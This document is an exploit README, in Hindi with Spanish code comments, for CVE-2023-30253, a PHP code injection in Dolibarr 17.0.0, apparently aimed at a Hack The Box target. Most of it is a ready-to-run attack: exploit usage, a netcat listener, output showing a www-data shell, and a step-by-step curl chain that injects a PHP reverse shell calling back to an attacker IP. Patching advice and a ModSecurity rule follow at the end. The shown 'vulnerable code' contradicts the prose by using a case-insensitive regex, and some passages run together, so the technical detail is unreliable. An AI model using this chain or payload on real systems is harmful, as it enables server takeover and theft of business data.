
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 PHP कोड इंजेक्शन के माध्यम से RCE (शैक्षिक एक्सप्लॉइट)
Dolibarr ERP/CRM v17.0.0 के लिए PHP कोड इंजेक्शन एक्सप्लॉइट, जो
Website/CMS मॉड्यूल के माध्यम से www-data उपयोगकर्ता के रूप में
रिवर्स शेल प्राप्त करने की अनुमति देता है।
⚠️ केवल शैक्षिक उपयोग और अधिकृत ऑडिट के लिए।
CVE-2023-30253, 17.0.1 से पहले के संस्करणों वाले Dolibarr ERP/CRM में PHP कोड इंजेक्शन (CWE-94: Improper Control of Generation of Code) की एक भेद्यता है।
इसे Swascan (अब Hacktivesecurity) की टीम ने मई 2023 में खोजा और रिपोर्ट किया। यह भेद्यता Website/CMS मॉड्यूल में स्थित है, जो प्रमाणित उपयोगकर्ताओं को Dolibarr के भीतर वेबसाइट बनाने और प्रबंधित करने की अनुमति देता है।
Dolibarr उपयोगकर्ताओं को Website मॉड्यूल के पृष्ठों की सामग्री में PHP कोड इंजेक्ट करने से रोकने के लिए एक फ़िल्टर लागू करता है। हालाँकि, इस फ़िल्टर में एक गंभीर दोष है: यह case-sensitive है।
// Código vulnerable (simplificado) en Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloquea solo "<?php" en minúsculas exactas... ¿o no?
die("PHP code detected!");
}
फ़िल्टर शाब्दिक रूप से लोअरकेस में <?php स्ट्रिंग की खोज करता है। लेकिन
PHP ओपनिंग टैग के लिए अपरकेस और लोअरकेस के किसी भी संयोजन की
अनुमति देता है। इसका अर्थ है:
एक्सप्लॉइट फ़िल्टर को बायपास करने के लिए <?PHP (अपरकेस में) का उपयोग
करता है, लेकिन कोई भी वेरिएंट काम करता है।
इसके अलावा, फ़िल्टर केवल सामग्री को सहेजने के समय लागू होता है।
पृष्ठ को सर्व करते समय, Dolibarr सामग्री को बिना अतिरिक्त
सैनिटाइज़ेशन के PHP इंटरप्रेटर को भेजता है, जो <? ओपनिंग
टैग वाले किसी भी कोड को निष्पादित करता है।
एक प्रमाणित हमलावर निम्नलिखित कर सकता है:
/etc/passwd, कॉन्फ़िगरेशन)यह गंभीर क्यों है? Dolibarr का उपयोग एंटरप्राइज़ ERP/CRM के रूप में किया जाता है। एक घुसपैठ ग्राहक डेटा, वित्त, अनुबंध और आंतरिक क्रेडेंशियल उजागर कर सकती है।
एक्सप्लॉइट पूरी प्रक्रिया को 5 चरणों में स्वचालित करता है:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Autenticarse en Dolibarr │
│ 2. Create Website → Crear un sitio web vacío │
│ 3. Create Page → Crear una página en el sitio │
│ 4. Inject Shell → Inyectar PHP reverse shell │
│ 5. Trigger → Ejecutar el payload │
│ │
│ Resultado: 🎯 Shell reversa como www-data │
└─────────────────────────────────────────────────────────┘
विशेषताएँ:
pageid का स्वचालित पता लगानाfsockopen + proc_open के माध्यम से रिवर्स शेल पेलोडrequestsbeautifulsoup4या बस:
pip install -r requirements.txt
# Clonar el repositorio
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Instalar dependencias
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
स्थितीय तर्क:
विकल्प:
| विकल्प | विवरण |
|---|---|
-v, --verbose | विस्तृत डीबग जानकारी दिखाता है |
--no-color | आउटपुट में रंग निष्क्रिय करता है |
-h, --help | सहायता और उदाहरण दिखाता है |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12] ✓ Sesión iniciada correctamente
[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13] ✓ Sitio web 's3a1f2bc' creado
[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13] ✓ Página creada dentro del sitio
[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP inyectado exitosamente
[10:45:14] Paso 5/5: Ejecutando payload (trigger)...
════════════════════════════════════════════════════════
EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instrucciones:
1. En otra terminal, inicia tu listener:
nc -lvnp 4444
2. Accede a la Trigger URL (el exploit ya lo hizo)
3. Recibirás una shell reversa como www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
यदि आप प्रक्रिया को मैन्युअल रूप से (स्क्रिप्ट के बिना) समझना चाहते हैं, तो यहाँ पूरा फ़्लो है:
# Obtener cookies y token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Extraer token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Login
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
⚠️ सीखा गया सबक: सही
actionपैरामीटरaddsiteहै, न किaddजैसा कि कुछ सार्वजनिक एक्सप्लॉइट्स में दिखाई देता है।
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 हमले की कुंजी: सही फ़ील्ड
PAGE_CONTENTहै, न किWEBSITE_CONTENT। कई सार्वजनिक PoCs में यह गलती है।
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
इस भेद्यता से Dolibarr सर्वर की सुरक्षा के लिए:
# Actualizar a Dolibarr 17.0.1 o superior
# El parche corrige el filtro para detectar cualquier variante de <?php
यदि आप Website/CMS मॉड्यूल का उपयोग नहीं करते हैं, तो इसे यहाँ से निष्क्रिय करें:
Home → Setup → Modules → Website → Desactivar
# Bloquear cualquier variante de etiquetas PHP en el campo PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
यह प्रोजेक्ट शैक्षिक और सूचना सुरक्षा अनुसंधान उद्देश्यों के लिए बनाया गया है। स्पष्ट प्राधिकरण के बिना सिस्टम के विरुद्ध इस एक्सप्लॉइट का उपयोग अवैध और नैतिक रूप से निंदनीय है।
साइबर सुरक्षा पेशेवर के रूप में, मैं दृढ़ता से निम्नलिखित में विश्वास करता हूँ:
द्वारा निर्मित Jean Carlos
साइबर सुरक्षा छात्र | पेंटेस्टिंग | CTF प्लेयर
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304
| फ़ील्ड | मान |
|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (HIGH) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| प्रकार | CWE-94 — Code Injection |
| प्रभावित सॉफ़्टवेयर | Dolibarr ERP/CRM < 17.0.1 |
| विशेषाधिकार | प्रमाणित उपयोगकर्ता (कोई भी भूमिका) |
| पैच | Dolibarr 17.0.1 — commit 4f6055c |
| टैग | फ़िल्टर हुआ? | PHP द्वारा निष्पादित? |
|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
| तर्क | विवरण | उदाहरण |
|---|
target | Dolibarr का आधार URL | http://crm.board.htb |
username | Dolibarr उपयोगकर्ता | admin |
password | Dolibarr पासवर्ड | admin |
lhost | आपका IP (जहाँ आप शेल प्राप्त करेंगे) | 10.10.14.5 |
lport | आपका पोर्ट (जहाँ आप शेल प्राप्त करेंगे) | 4444 |